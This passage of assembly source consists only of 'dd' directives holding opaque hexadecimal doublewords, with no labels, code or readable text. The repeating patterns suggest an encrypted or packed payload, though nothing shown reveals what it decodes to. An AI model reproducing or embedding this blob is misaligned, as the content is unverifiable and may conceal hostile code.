7E51B79Ch, 0E58735E4h, 6644321Eh, 662234FCh dd 7B4D0415h, 0A00C80E4h, 8F626B90h, 0ED77612h, 0DD62BC40h dd 66883BFCh, 0A02B2515h, 14717AAEh, 34712322h, 668826FCh dd 82145915h, 86C96337h, 0A8EA17B8h, 4DCAE8B9h, 6928D859h dd 9943694Dh, 8F375BA0h, 668FDB12h, 0CB113215h, 0F9BC781Dh dd 0DA94BF60h, 9E8FDB2Fh, 6CADE2EAh, 42223215h, 0E7FB498Ah dd 27F8309Bh, 0D6C1BB26h, 8F25C302h, 66113201h, 999E6568h dd 7B773653h, 0BACBA21Bh, 128D147Dh, 52A9F400h, 401DB7D3h dd 8F6135FCh, 66113219h, 87A59CABh, 0C5DCE611h, 0DAC4A7E8h dd 39E46375h, 8745A74h, 9F248E9Bh, 0F97CD74h, 9E16DB33h dd 5C34B798h, 63AD35FCh, 8E223215h, 0E34F9BD8h, 0E887E2EAh dd 66443204h, 6625DB75h, 6D473215h, 5CED6B1h, 95FB3D6Fh dd 0D2A7BB74h, 8F16C302h, 6688321Eh, 3EF518FCh, 0B41B902Ah dd 9E6E6805h, 40D1B7D3h, 61735FCh, 0F7E3B3E0h, 74E2EE9h dd 76B6987Dh, 0EA4B52D3h, 66223215h, 7C9851Ah, 40E187EAh dd 8F2435FCh, 6622321Ch, 6D3A6D16h, 8B976F0Eh, 7DE8187h dd 5C9EB798h, 0E77135FCh, 0B7DD21E3h, 7E08154h, 74CBE2EAh dd 56113215h, 4C87DC1Eh, 0E25FD672h, 31A8A035h, 979FFCD8h dd 0DE0DBB48h, 9F43C302h dd 6E5F8F96h, 691135FCh, 668BF091h, 6AC13D15h, 8F223215h dd 66113212h, 0EAE6A6AEh, 0A0B038D3h, 8F046B90h, 0EE97412h dd 9C1EFC24h, 0FF1CDEDh, 8F25DB33h, 66113210h, 0CA586846h dd 0DAC1BF61h, 8F25DB2Fh, 66113207h, 24C75CBCh, 9CDC27DBh dd 6348163Fh, 0AD76E533h, 0B677F028h, 6643B61Ah, 0E42D3215h dd 66113214h, 6681DBECh, 50943215h, 7A0E4B38h, 0EF8D599Eh dd 97902690h, 0A0255212h, 8F046B90h, 0E31E7412h, 6688321Ah dd 664438FCh, 0BCB23B15h, 8DC3903Bh, 0E25A53Eh, 9AE308C3h dd 81995475h, 659C3D42h, 69883215h, 9925F3AAh, 8F045BA0h dd 661BDB12h, 0E76B3215h, 14FD6150h, 207F1220h, 661FDB75h dd 0A6783215h, 0D76A89D9h, 0C1D96E81h, 96731E22h, 2799DB94h dd 0EB255487h, 8F188E90h, 0E31E5212h, 66883213h, 6644B91Ah dd 69CB3215h, 0FB113215h, 0F324ED05h, 9A04D08Ah, 0CCA3DCF0h dd 6970C67Dh, 66883A97h, 64C53D15h, 6223215h, 8FC1CD74h dd 66883210h, 976FCF64h, 42A7BBE5h, 8F16C30Dh, 6688321Eh dd 6B35F23Eh, 2053597Bh, 0A0BB6A03h, 8FAE6B90h, 6EAD7412h dd 28223215h, 123AD850h, 6920F6FFh, 6644269Bh, 68AC3D15h dd 8F113215h, 6688321Ch, 0DE8B94DAh, 85F3FAB5h, 0C2115A08h dd 9974A0E9h, 8F625BA0h, 6DAE3D12h, 6113215h, 6688B51Ah dd 92C43215h, 0EBDB5373h, 8F2B8E90h, 67083D12h, 93443215h dd 0EFDBE2EAh, 97091A90h, 668EDB12h, 78B53215h, 0A2CB1AB3h dd 4048B7D3h, 69CE35FCh, 66443C95h, 662BDB15h, 365F3215h dd 0C6942154h, 934C1419h, 0B26D587Dh, 619A3DE3h, 69883215h dd 6644339Ah, 0D3DDCB15h, 61F8147Ch, 66883EFCh, 0B37C0E15h dd 5EB9F009h, 2C50FBBFh, 0E305CA98h, 61AD08A9h, 98953D75h dd 0F0F7B373h, 0B6775354h, 3F145275h, 4B9453ECh, 0B0905274h dd 4CF66923h, 79AB973h, 7E0EB79Ch, 0E01E35E4h, 66883219h dd 6642BE1Ah, 0E12D3215h, 66113215h, 40D1B7D3h, 9A0235FCh dd 0AB72D57Dh, 6616DB81h, 7CE3215h, 4B9FC788h, 0F97CD59h dd 8F16DB33h, 66883218h, 821B84D0h, 6F407586h, 0E63884D2h dd 0DA0DBF31h, 9A43DB2Fh, 75CBE2EAh, 0F1113215h, 0C305F5B3h dd 0A1B296D8h, 3A2148h, 8C2D9B7Eh, 0E301DEA9h, 61B52A0Dh dd 60AF3D75h, 0E7113215h, 0A3CB42D6h, 6650DA18h, 0C5BF3215h dd 0BFA56A65h, 0ACBB6977h, 6F66DEF0h, 19F46392h, 74BC15Ch dd 40D1B7D3h, 8F0235FCh, 66223218h, 7F359DC8h, 0CEED0BFAh dd 5A0F2565h, 12195A99h, 69718337h, 6688309Bh, 8F1F6115h dd 66223213h, 9DAF4838h, 6E91EBCh, 3D14B4A7h, 0F97CD74h dd 8F16DB33h, 66883212h, 0AB647729h, 0EBFCF0E4h, 8F2B8E90h dd 0B677CE12h, 664420FCh, 0D6EFCB15h, 0ACDFFF8h, 0BC094CECh dd 424FE410h, 0EF2E46A0h, 97092E90h, 0E5875212h, 66443210h dd 7B0795AFh, 0E7775277h, 9EF14BE6h, 0E3825374h, 61CB144Ch dd 0E7775253h, 0D7674CFDh, 8B2C5385h, 9FFD4BFFh, 407887EAh dd 0E835FCh, 8FA5AEACh, 66223204h, 2BAFC67Bh, 7AEE71EBh dd 81F11B90h, 141325B3h, 0E11E5328h, 6688321Bh, 6643DB75h dd 0E7CE3215h, 0F859922Dh, 0E3055398h, 61AD08A9h, 662EDB75h dd 94673215h, 0DCD339FEh, 0C56B7BA6h, 0DC443D1Fh, 99709702h dd 0E301CAC5h, 61B52A35h, 6635B61Ah, 74F83215h, 59883215h dd 4FED4C44h, 328649D4h, 182059BBh, 22B0579Ch, 6AC43D41h dd 8F223215h, 66113212h, 0A8B52DB8h, 0E5FDA22Bh, 8F0637A8h dd 0E31E3212h, 66883284h, 0A025C775h, 8F046B90h, 61F86112h dd 0AD883215h, 89D4D69Bh, 6427503h, 661121FDh, 197A9015h dd 6DDBC660h, 52A803CAh, 8CE17165h, 41566F3Dh, 31AFB34Ch dd 7310568h, 69C2B975h, 7E9E3AAh, 0D8A46C7Dh, 0D3DDCEDBh dd 61F8147Ch, 771CA75h, 5CF8B798h, 0EA2D35FCh, 66113202h dd 668820FCh, 6D5A0E15h, 0AE840C79h, 0BFD131F2h, 949C13B3h dd 99A47524h, 0E3ABCBC5h, 61E025A9h, 6687B61Ah, 6CAD3215h dd 0CE223215h, 10932435h, 946F3302h, 3FC1F4E7h, 2125DB33h dd 661CDBECh, 0B6A63215h, 135630C5h, 1D264BCh, 0EA7C15Fh dd 0A1396C92h, 40FA5475h, 6631DBDEh, 4A4E3215h, 19E9EADFh dd 44DA453Fh, 6D7CC506h, 3D7DE439h, 0D3775340h, 61AD147Ch dd 66223BFCh, 0CB300315h, 547CB049h, 0E3C97A8Eh, 61CB08A9h dd 660CB61Ah, 0E83215h, 6A1FE194h, 662222FDh, 0F579AD15h dd 9275229Eh, 0DECC2092h, 4A6DCA56h, 99706A0Fh, 8D0852C5h dd 0B6C46008h, 0EF436AACh, 9706F290h, 0E7EE5212h, 9E8422F4h dd 0DBA1C774h, 61F81610h, 150D3D15h, 8F443215h, 66223218h dd 72930E94h, 0EADBA50h, 241C8CCCh, 3FA7F424h, 2116DB33h dd 188D5AECh, 0EB4BD477h, 6622321Bh, 66923D75h, 69883215h dd 66443292h, 99DA5315h, 8F375BA0h, 0B8095212h, 2BACD16Ch dd 86E388ACh, 0E39C532Bh, 616108A9h, 6645B21Ah, 99DB3215h dd 0EE1ECAC5h, 66883214h, 0A2C1BBE0h, 8F25C302h, 6611321Fh dd 0F1B06C07h, 0EA906A85h, 0E3E468D1h, 61F8144Ch, 68615256h dd 0B6443215h, 642448F0h, 5661992Dh, 0E81619B1h, 0B5CF5414h dd 6624DB74h, 0F8C93215h, 264A7908h, 1C4DC47Dh, 662DDB87h dd 65563215h, 3A8A3075h, 47FB3DBCh, 0A3093366h, 0FA4CD02h dd 8F8FDB33h, 6644321Eh, 0F222D0CAh, 0AF8A0B08h, 0EB853C65h dd 8F7E8E90h, 6632DB12h, 12123215h, 211EB337h, 0B6B3975Ah dd 0EB9E73D6h, 0B6EE6BA9h, 669EBC1Ah, 77AD3215h, 0A2223215h dd 7EDDFD6Fh, 936A60ECh, 471D05DFh, 0F3AE0150h, 71D9B79Ch dd 0A07135E4h, 8F626B90h, 6D77112h, 6617BF1Ah, 0E4873215h dd 66443215h, 66223BFCh, 2093F415h, 68D9DDF4h, 0E259F09h dd 9A03A535h, 0FA4CDECh, 9A8FDB33h, 5CF8B798h, 0E42D35FCh dd 66113214h, 9A58CDE9h, 7188B79Ch, 0E5D735E4h, 8F3537A8h dd 0E3873212h, 66443356h, 0D12D5275h, 6CF853CFh, 0C0883215h dd 0CFE2E380h, 38F42C74h, 0E3D75341h, 6161144Ch, 0E24BC756h dd 6622321Ch, 0D9468275h, 3BDD8FD4h, 0CE475A74h, 0EE2DB915h dd 66113203h, 668823FCh, 1D8CF815h, 1EAC2588h, 9713DBABh dd 0E510861Ch, 0D3BB4A65h, 61CB147Ch, 661138FCh, 50979215h dd 4783B8B7h, 0EBBF22FEh, 8F2B8E90h, 669CDB12h, 96053215h dd 0BB719B2Dh, 78A6008Dh, 0B1A94939h, 0AEEA41EDh, 0B6DD2AEAh dd 0B4A95475h, 6681DB7Ch, 0C1133215h, 9A2DE2C6h, 77737BFh dd 66883FFCh, 79499A15h, 0ADAA0948h, 7B5080C9h, 0E301A951h dd 61B525C1h, 662BDB75h, 13D23215h, 27A53C45h, 8FEBD453h dd 66223219h, 8479BAF7h, 22013DB6h, 0E813D7C2h, 3FA7F474h dd 2516DB33h, 6689B21Ah, 0EBD3215h, 837904C0h, 0D3EECBECh dd 6161147Ch, 0DAC1BFE0h, 8F25DB2Fh, 66113210h, 0A2E0A846h dd 8F94CD23h, 66223219h, 0A2F4401Ch, 214EE1C8h, 594B1BAAh dd 71F2B79Ch, 0D57135E4h, 6682DA23h, 1F173215h, 30C07FCFh dd 6E9A392Eh, 7D65375h, 6655B81Ah, 6ACB3215h, 0E0113215h dd 47C0BB7Eh, 6D46F933h, 0A0C71E85h, 8F376B90h, 6E87112h dd 66443EFCh, 424D9715h, 4B9F00CCh, 0C72A25D4h, 0B0C5535Fh dd 6315C3C1h, 6618DB74h, 5013215h, 0C8125DB2h, 0E7ED340h dd 8CBB00F4h, 6689B71Ah, 69BD3215h, 66223995h, 0D11E5215h dd 677BB3D4h, 70C5FACh dd 404B87EAh, 7135FCh, 36779EACh, 60AD534Dh, 0CE223215h dd 0F2A951D9h, 0DA0DBF20h, 8F43DB2Fh, 66223218h, 0B41B5E62h dd 91C1F9D6h, 0B2EA55D1h, 9FF2CD9Fh, 6601DB75h, 49B73215h dd 8FED0C6Ch, 23D3349Eh, 0C93C16D6h, 72610C61h, 0CE443215h dd 11208D8Fh, 64571713h, 4058C6EDh, 0EC8544E1h, 7307831h dd 71C9B79Ch, 0E7E835E4h, 0B405CDC4h, 0F2D2B334h, 779DD69h dd 40D1B7D3h, 60735FCh, 0E7F1B973h, 9F9B91D7h, 51E05305h dd 9EC0C3B9h, 404B87EAh, 317135FCh, 0F7D2EFACh, 54FB6C39h dd 7381A93h, 5CADB798h, 0EC8735FCh, 6644321Dh, 6620BE1Ah dd 7713215h, 0EB87E2EAh, 66443214h, 0BAA7BBE0h, 8F16C302h dd 66883206h, 1238882Fh, 7D5B4020h, 0E61C29CEh, 0CE207F0Dh dd 0A0D1AEE8h, 8F046B90h, 0E7717D12h, 11BA06C2h, 0B22C5311h dd 6B50785h, 0FA4CD74h, 698FDB33h, 66443C90h, 88A35215h dd 40ED81AAh, 6688B31Ah, 0EB253215h, 8F188E90h, 0ED775212h dd 0D18752EEh, 71B63D4h, 69F2CD74h, 66113B99h, 38DF5215h dd 994908ABh, 0E3AB532Bh, 61E025F5h, 668838FCh, 0CB9D7B15h dd 64EDA211h, 0A0898FF2h, 8FAE6B90h, 6247D12h, 0CDEAB373h dd 669C3D91h, 7883215h, 7BD851Ah, 662ABC1Ah, 69713215h dd 66883296h, 642C5315h, 69DB5C1Bh, 66112099h, 6A043D15h dd 8F443215h, 66223212h, 206F56B3h, 69A328C0h, 66443A9Fh dd 0DB5215h, 0AF82FC94h, 0F3DCD74h, 9F43DB33h, 2BF1B375h dd 373E0947h, 6688BB1Ah, 71C3215h, 5C9EB798h, 0EF1E35FCh dd 66883210h, 724CE75h, 8FF2CD74h, 66113218h, 6DC4C817h dd 0BD6B03FFh, 95D1AFAAh, 8294BB1Ch, 8F8FC302h, 66443207h dd 0F9F97DE8h, 741738BDh, 0A6788BE4h, 0D76A89D9h, 0E3E46E81h dd 61F8144Ch, 0D9875258h, 2F2C53EEh, 69EA056Ch, 66113A9Fh dd 640B3D15h, 6443215h, 0F97CD74h, 8F16DB33h, 66883205h dd 40C0B3D5h, 6BE925E5h, 0FC649FA5h, 0DFC8F76Fh, 6645B71Ah dd 0EBDB3215h, 8F2B8E90h, 67023D12h, 9F443215h, 6ACBE2EAh dd 4C113215h, 0D88199BAh, 88D5469Dh, 0EF015CE0h, 9706DE90h dd 0E4875212h, 66443210h, 0FEBB373h, 749B3D68h, 8F883215h dd 66443218h, 76F53BC7h, 0D279583Ch, 0D6DF45BCh, 0E38253C2h dd 61CB144Ch, 69435258h, 6688329Eh, 91C56915h, 5CDC8AC9h dd 2B985A74h, 7461EEE2h, 0A5443215h, 25542479h, 0D9104D4Bh dd 58F49636h, 1579F0A3h, 0F97CDC8h, 9316DB33h, 6689B41Ah dd 0EBB13215h, 8F188E90h, 661CDB12h, 804C3215h, 8DC40458h dd 326517D4h, 99BE1936h, 669ADBC5h, 0F4183215h, 1D762D1Bh dd 0E219755Ch, 66567EAAh, 0CD6374A5h, 71CAB79Ch, 76F835E4h dd 0F0883215h, 0F1031C2Ch, 202FEBFCh, 0BDB842AFh, 0A07E0534h dd 8F626B90h, 69426712h, 6611349Eh, 660C3D15h, 8E443215h dd 66223207h, 0FE4EC8D2h, 0DC520651h, 96C9FA89h, 1CDFD421h dd 60F87AFBh, 0A4883215h, 0FC1C945Bh, 0E436ADAh, 0FA0A1F22h dd 669BDB75h, 6A1A3215h, 0CB067191h, 0CC97B6F4h, 85E42C62h dd 0AE5C275Bh, 65A93D2Ch, 0E6113215h, 99E95DE0h, 8F625BA0h dd 6AAF3D12h, 8F113215h, 66883212h, 0E7BD8BCDh, 0EBED1996h dd 8F2B8E90h, 668EDB12h, 5B0D3215h, 9A3216DDh, 0EFE8E2EAh dd 979FC290h, 664ADB12h, 0C9F3215h, 226C9831h, 9957EB6Eh dd 8B1983FCh, 407BB7D3h, 8F5235FCh, 6688321Ah, 30C9F80h dd 9FDB33A4h, 8B6E2854h, 68BC2E7h, 0E701F695h, 714343DAh dd 4C795361h, 8F5AE7E5h, 6644321Bh, 1181B873h, 0E37C8934h dd 0BC59D3C5h, 0D3BBCA20h, 61CB147Ch, 661ADA75h, 2ABD3215h dd 0B49CE759h, 808F61ACh, 0A3E6B311h, 38C4B2A8h, 664FDB75h dd 0AEF23215h, 3F163D74h, 1BA36B84h, 0A1FB3D8Eh, 0E3AF5374h dd 61F808A9h, 0AD095475h, 0FEF14D60h, 8FF2CD74h, 66113213h dd 0BB02927Fh, 0ED2440DCh, 0EF43CED6h, 9706C690h, 77615212h dd 59443215h, 492ACAE3h, 543A1A3Dh, 38A59FADh, 486A9CB4h dd 717D895h, 3F94F4ECh, 348FDB33h, 39C78D75h, 0DE4449C6h dd 0E70DAAAh, 9BCA86FFh, 6667B81Ah, 8F423215h, 66113212h dd 0A85EFC10h, 8F339E34h, 66223205h, 0A1DF169Bh, 0C57B7F30h dd 7E08137Bh, 6647136Ch, 0FA4CD74h, 68FDB33h, 74AD64E9h dd 0EB223215h, 58E89ED6h, 0F57EEA3Ch, 56529C8Ch, 3815AB7Fh dd 0EB706DDEh, 8FB28E90h, 0B6BBC712h, 1FA7BBECh, 616DB0Eh dd 668ABC1Ah, 0A8CF3215h, 0A043C29Eh, 8F376B90h, 0E747512h dd 84DC6B8Ch, 66223FFCh, 3ABB4F15h, 9391C8A4h, 0B99BCB2Ah dd 0D3DD75B0h, 61F8147Ch, 0DA0DBFEDh, 9343DB2Fh, 42E2EAh dd 8F71EC9Eh, 6688321Eh, 0E26EE851h, 313755C4h, 0D9F0656Bh dd 57704023h, 245374h, 79838AAh, 71E9B79Ch, 0A07435E4h dd 8F626B90h, 0EDE7512h, 0D7EC52D7h, 0F3DCDE0h, 6943DB33h dd 66222593h, 6CF85215h, 0B8883215h, 5C46DA2Ah, 2A95C293h dd 669A3DC3h, 7883215h, 5CF8B798h, 694235FCh, 66112296h dd 6683DB15h, 15CB3215h, 5F7F1782h, 943B524Eh, 0B6775362h dd 6648B01Ah, 0E12D3215h, 66113213h, 6688BD1Ah, 0E3CD3215h dd 61D325E9h, 66113EFCh, 1BDCFB15h, 1CBF034Bh, 0D78F8669h dd 3F94F4CCh, 218FDB33h, 98505AEDh, 6942EDB3h, 6611309Ch dd 42B915h, 5C3CF194h, 0F97CD74h, 6916DB33h, 66882591h dd 6656DB15h, 0B3F93215h, 0B236DB48h, 0FCA7F888h, 47A5B219h dd 26F0FB68h, 0DA94BFE9h, 8F8FDB2Fh, 66443204h, 0CA715034h dd 3A1C0DBCh, 0B9F63DF7h, 0CB85111Fh, 69F2CDE9h, 66113C94h dd 96095215h, 6937E5B6h, 6622B11Ah, 0EF703215h, 97903290h dd 0E04B5212h, 66223210h, 31D9B373h, 71093D20h, 8F443215h dd 66223207h, 41651445h, 0E674DF2Ch, 0FA7CFF64h, 7D9C28D3h dd 0A0706DD3h, 8FAE6B90h, 69B86D12h, 66223E9Ah, 60933D15h dd 69883215h, 66443291h, 944A5A15h, 71AC45h, 8B90E994h dd 56FE8D73h, 0D3DDC774h, 61F8147Ch, 0DA0DBFE9h, 6943DB2Fh dd 66222196h, 661FDB15h, 0DDCB3215h, 4330DE02h, 321F0F89h dd 67A1D54h, 0E887E2EAh, 66443219h, 6624B61Ah, 0E91E3215h dd 66883215h, 6648B41Ah, 0E22D3215h, 66113213h, 6688B41Ah dd 0E3CD3215h, 61D32A11h, 6610B11Ah, 67D3215h, 664426FCh dd 0D65B6B15h, 1280C8ECh, 0C785105Dh, 55246816h, 44AC532Ch dd 0E3D753B6h, 6161144Ch, 592CC75Ah, 69E5CE6Eh, 66113E95h dd 0DCEE5215h, 0E24B396Ch, 66223215h, 0FA4CD74h, 68FDB33h dd 0EB2517A2h, 8F188E90h, 6603DB12h, 0D2363215h, 73CCA7C2h dd 4D4DC027h, 0F2954DAEh, 57AB0834h, 0E34BE2EAh, 66223213h dd 64F6475h, 0E3015374h, 61B52A25h, 0ACF8C75h, 0E77774AEh dd 7501CC5h, 401DB7D3h, 66535FCh, 66113FFDh, 0AD1FA15h dd 81472E71h, 6401EFC1h, 7713CE6h, 0B909614Eh, 7DBD2AE2h dd 2A4A534Eh, 8FEB697Bh, 6688321Eh, 9B847544h, 2B6494B1h dd 697BE703h, 66882A90h, 74C13D15h, 8F223215h, 66113218h dd 8EBDF8F6h, 66CADDCDh, 0F5416795h, 0FA4CDC1h, 8F8FDB33h dd 66443205h, 5D83114h, 66C10C1Bh, 8C944FA7h, 95ED2A89h dd 5C9EB798h, 0EF1E35FCh, 66883207h, 6643DA75h, 0C8943215h dd 94D86F60h, 0D1876B41h, 0B6BB53C5h, 60CB5275h, 0EE113215h dd 5D08D434h, 71C6198h dd 3DDFB845h, 5294BB74h, 8F8FC30Dh, 66443206h, 0C0A3E025h dd 76D3C98Ch, 0F74AB03Fh, 0A327F5B9h, 664E08Ah, 0B6905475h dd 0D987318Eh, 0E44B53EEh, 66223211h, 901A8A73h, 3F0DF474h dd 2143DB33h, 42EF5AE9h, 99E4F113h, 8FAE5BA0h, 0E34BC712h dd 66223219h, 0C718875h, 0AC30762Fh, 708E13Ch, 5C9EB798h dd 60F835FCh, 0EB883215h, 0A44ECE7Ah, 8FF2CDDCh, 66113212h dd 4ACE65F8h, 0EF267E56h, 973A0A90h, 0E21E5212h, 66883217h dd 63ACC4A7h, 7E223215h, 902EBEE8h, 668822FCh, 59123C15h dd 1785A45h, 0EAC36FC1h, 2894339Fh, 0A0256D8Dh, 8F046B90h dd 0EE86D12h, 0B23352D9h, 6994B975h, 9943F1A2h, 8F375BA0h dd 6B083D12h, 8F443215h, 6622321Dh, 59CA9DCFh, 0AF15BF5Ah dd 5CF8B798h, 99DB35FCh, 0E51ECEC5h, 66883207h, 8F255275h dd 6622321Ch, 0D416105Fh, 0C745625Fh, 0E3CD5356h, 61D32A1Dh dd 6619BD1Ah, 0E4873215h, 66443217h, 0E3E45375h, 61F8144Ch dd 6681DB4Ah, 0D0453215h, 58B737A6h, 0E790338h, 0F861665Bh dd 0FF1CDE9h, 9E25DB33h, 5CADB798h, 0EB8735FCh, 6644320Fh dd 6636BC1Ah, 69F83215h, 67883215h, 8519E5B9h, 0EF1CD5Ch dd 7712F492h, 0B6772504h, 664DDBE0h, 0BD573215h, 5AD58CB8h dd 0EF66D3E2h, 975C3E90h, 662CDB12h, 60A23215h, 4F455A7Ch dd 529FA418h, 0DB284BB6h, 4048B7D3h, 8FD735FCh, 6644321Ah dd 863D08A0h, 4F832B44h, 92513C91h, 9E12B7D6h, 750A7A7Dh dd 661CDBC4h, 0A9CE3215h, 0A8F89ECDh, 0D7362C3Ah, 994FDB17h dd 8FAE5BA0h, 6655DB12h, 8AAE3215h, 0A167808Eh, 0B2A756C8h dd 0A04B08D0h, 0EB42B6CEh, 8F2B8E90h, 0B677CA12h, 364C8675h dd 662235FCh, 3E47B315h, 0A73C72FFh, 0E3CD534Bh, 61D32A05h dd 661DB31Ah, 61613215h, 0B3443215h, 0F478776Bh, 627B5D39h dd 76885AECh, 0E74B3215h, 66223214h, 76115AEDh, 69E83215h dd 66443D97h, 6628DB15h, 3AE13215h, 0C199B3E2h, 0BDF50D68h dd 0C43E29Fh, 99705215h, 8FA34F80h, 0E3CDCE12h, 61CB06ECh dd 0F494BFEDh, 9A8FC2B3h, 0CBDE2EAh, 6EA63D11h, 6113215h dd 0B6A80AAFh, 6925C717h, 66223994h, 6617DB15h, 0B9B83215h dd 71B1D399h, 6632327Dh, 61923D15h, 6883215h, 37838D1Ah dd 664A534Fh, 69113235h, 6688389Ch, 6641DB15h, 0A4F3215h dd 0C24AB0Dh, 7C0F3D15h, 6443215h, 6622BB1Ah, 6BF83215h dd 94883215h, 56DC09D8h, 50FE1D09h, 6A232544h, 1B1DCD74h dd 643DB3Eh, 93F18D1Ah, 6605DB74h, 556C3215h, 705057E8h dd 5C6EE91Bh, 9CB49A35h, 0E9E458A0h, 0E3CDF69Ch, 61CB1408h dd 66113EFCh, 67537B15h, 0E0AB32D6h, 0C6EFDB86h, 0E794BB82h dd 698FDB0Fh, 66443F93h, 662ADB15h, 139D3215h, 68ACFC16h dd 692415ACh, 6622319Ah, 0BC9A5415h, 38D66143h, 8F045874h dd 66223213h, 954028EEh, 66E0D992h, 8F443205h, 66223206h dd 0F08FF1E2h, 8007F163h, 0F91F3C83h, 98930A3Dh, 0E63B8CAh dd 66893215h, 6650DA75h, 8D223215h, 9BC32654h, 1EAC821Bh dd 0AAD32651h, 0E3157455h, 0EA1E2447h, 66883215h, 73C53D4Bh dd 8F223215h, 66113205h, 0F9CF54E9h, 13D9D371h, 6D27731Fh dd 0AE942778h, 69885874h, 66442291h, 6CAC3D15h, 8F113215h dd 66883210h, 94DB9732h, 1BB7CD4Fh, 9E16DB3Eh, 6FA1B79Ch dd 0ED2435FCh, 1FCCB3C5h, 75FA1EEh, 4B59879Eh, 0E74B35FCh dd 6622320Ah, 6608B31Ah, 72613215h, 0DB443215h, 81316065h dd 0C0D732B1h, 0E883A255h, 4383FC31h, 8F81C158h, 66113205h dd 3902984Eh, 0EDD6617Dh, 83F3A044h, 345359B4h, 6C61AF9Eh dd 0EC4B35FCh, 66223218h, 0A4905475h, 0E58731AFh, 66443215h dd 9397BB74h, 616DB37h, 0F9F78873h, 0EFFF5475h, 0A2258B18h dd 77031A0h, 706DAF9Ch, 0E44B35FCh, 66223203h, 661123FCh dd 36A9B815h, 0B4BDAA0Fh, 0D1B126C5h, 710495ECh, 0FB03C7C3h dd 61AD38FCh, 0E744C775h, 72CB7D6h, 66888847h, 0BC453215h dd 72A9389Eh, 62D5B331h, 8F883215h, 6644321Fh, 817AFB46h dd 6E5C4A86h, 0E570A2FFh, 0E24B32ECh, 66220B60h, 6619B91Ah dd 0E0873215h, 66443217h, 0F4A5375h, 0EF11327Fh, 0ED871611h dd 66443214h, 62CEB1E9h, 69353E9Ch, 66883F96h, 90C55215h dd 12DEDA15h, 0A3B3BACh, 69E85365h, 66443E90h, 60AA3D15h dd 69113215h, 6688329Ch, 8F840315h, 66223205h, 4E81F546h dd 83197FB6h, 66C3B074h, 8C22EA96h, 688CB79Ch, 377435FCh dd 0CD2C33ACh, 0FE198C45h, 0A0909D41h, 94B04E0h, 88C5FC14h dd 9E104E0h, 6619DB4Ch, 11E03215h, 684E12D9h, 0A0A32E92h dd 78FA6F33h, 46AC4616h, 7C008946h, 8DA35B59h, 2C718F0Bh dd 8FD3EC3Ch, 66443213h, 2F6E12ABh, 0CB77E6E7h, 0E742B975h dd 6DF6B1D2h, 0DF735312h, 10327EFDh, 65D1FA3Ch, 63641651h dd 10017EFDh, 6614BD1Ah, 9FE83215h, 99255375h, 62A34A65h dd 3E221A31h, 42BCB947h, 0E740F696h, 3E111AFBh, 405247h dd 0DCD2FA9Eh, 5ACF4B88h, 0C39B6374h, 0E705DE67h, 1DC9DFD4h dd 87857B3Fh, 0ABE3B312h, 913DD770h, 0ED49B3C4h, 67157DA9h dd 12216BDBh, 88901231h, 16183C28h, 72C93DE9h, 6223215h dd 66113AFDh, 895C9B15h, 3B01E11Fh, 0DC446C8Ch, 99707E1Bh dd 69D72A63h, 66443393h, 0DBABCA15h, 61F82414h, 7F063D75h dd 8F443215h, 66223201h, 0D103F691h, 7E2BB7EBh, 710292C3h dd 0EAFD02C4h, 0D006C7F4h, 9862B373h, 99C1534Eh, 666AB71Ah dd 0EC1E3215h, 66883214h, 8EC552EDh, 1C148CB9h, 3E705242h dd 4EDDA74h, 0E84B3215h, 6622321Eh, 661134FCh, 0D50AA715h dd 9F682184h, 6627E2FCh, 6605DB15h, 89323215h, 4B442305h dd 0AC1C9A06h, 0B0AD6617h, 0D734269h, 0EF130439h, 62E5B3F2h dd 0E5113215h, 5A0F36FAh, 6ACD6E31h, 662CDB31h, 0AD543215h dd 0F554484Eh, 2EDB10Ah, 1BFB0B6Eh, 0FAA96242h, 4FBCE92Eh dd 3E401651h, 0FAE0B34Fh, 6925E92Eh, 6688269Dh, 664BDB15h dd 2C4C3215h, 3BDAF511h, 0C4DF5BDAh, 2974D374h, 62F059E1h dd 6617DB75h, 0A7843215h, 425885D5h, 4BB7BB74h, 8F16DB21h dd 6688321Ah, 97624537h, 8C23E270h, 52928EDAh, 0CA1519Eh dd 72C03D11h, 8F223215h, 6611321Ah, 66E447F2h, 1EABE02Bh dd 7990487Ch, 0E32D0FDh, 66882215h, 664DDB75h, 4D103215h dd 0B4516A09h, 8E4CBD64h, 6644321Dh, 0B5DA05F6h, 34EBC2A6h dd 66883BFCh, 3F594615h, 0E68DCBFAh, 74B3B7Fh, 66F6817Dh dd 4250BB15h, 6623B11Ah, 0CE83215h, 669BDB15h, 5D753215h dd 43155439h, 13C3E28h, 478267B4h, 12B47FC5h, 0F3DDCB0Ch dd 61F81968h, 668EDB75h, 0BF803215h, 54ECDB87h, 0BDC78A73h dd 4B0DBB74h, 6943DB06h, 6622359Bh, 679A3D15h, 93883215h dd 0EF83BB42h, 421EB9EFh, 9F15F696h, 31AC3E9Eh, 0A1C5D59Ch dd 66223211h, 6615F594h, 5A0F3215h, 68AD6E31h, 0B2223215h dd 23C238FAh, 8388AB48h, 7AD2E6BFh, 379352C0h, 6C8DA74h dd 8FE83215h, 66443206h, 70F8DA72h, 0AF52851h, 0D9FBA554h dd 2392D5B0h, 72DDA37h, 66113AFCh, 2FFF8915h, 0C1D020EEh dd 80AB6453h, 6615F494h, 880B3215h, 4270B511h, 4216BB49h dd 0E11E9FE9h, 6688320Ch, 664426FCh, 0AC675C15h, 8A347672h dd 304E0277h, 677EBD52h dd 0D641B639h, 4F583736h, 228B0768h, 0DD171631h, 535F1B5Ch dd 64AEA3Ch, 0EC874DA7h, 66443203h, 662223FCh, 0F1D8DA15h dd 82DDB13Eh, 0A9D7BE04h, 0DE902F5Ah, 3670C938h, 0EF8CDE96h dd 391C1629h, 72CBCE75h, 0ED113215h, 0F0B240C9h, 8703DA3Fh dd 0E1D4568Bh, 0CEDCD3E1h, 748993Dh, 0EF40DE96h, 8F791629h dd 6611321Fh, 0BB21988Dh, 0EB37DFB3h, 0EF73FE6Ch, 62D0B3F4h dd 0E7883215h, 664436FCh, 422EB515h, 422DBB49h, 6680BB1Ah dd 243215h, 4984EC94h, 0E21E53ECh, 66883202h, 6648DA75h dd 58D23215h, 0A5459557h, 74180330h, 1FD9FEh, 5643CB9Eh dd 6619DBD5h, 43CB3215h, 0F8F7F3A4h, 138CAE93h, 6D983DE8h dd 6883215h, 2930D094h, 0A5A2192Ah, 93715347h, 668ABC1Ah dd 9DCF3215h, 4216B974h, 0E7F0BB44h, 668836D4h, 6285B115h dd 3A063E92h, 66113FFCh, 88FDAB15h, 21E4D44h, 8BC1D3E7h dd 0DD42DCDBh, 4ADF6E4Ah, 4F1FED3Ch, 39E5B3CAh, 9E3D6549h dd 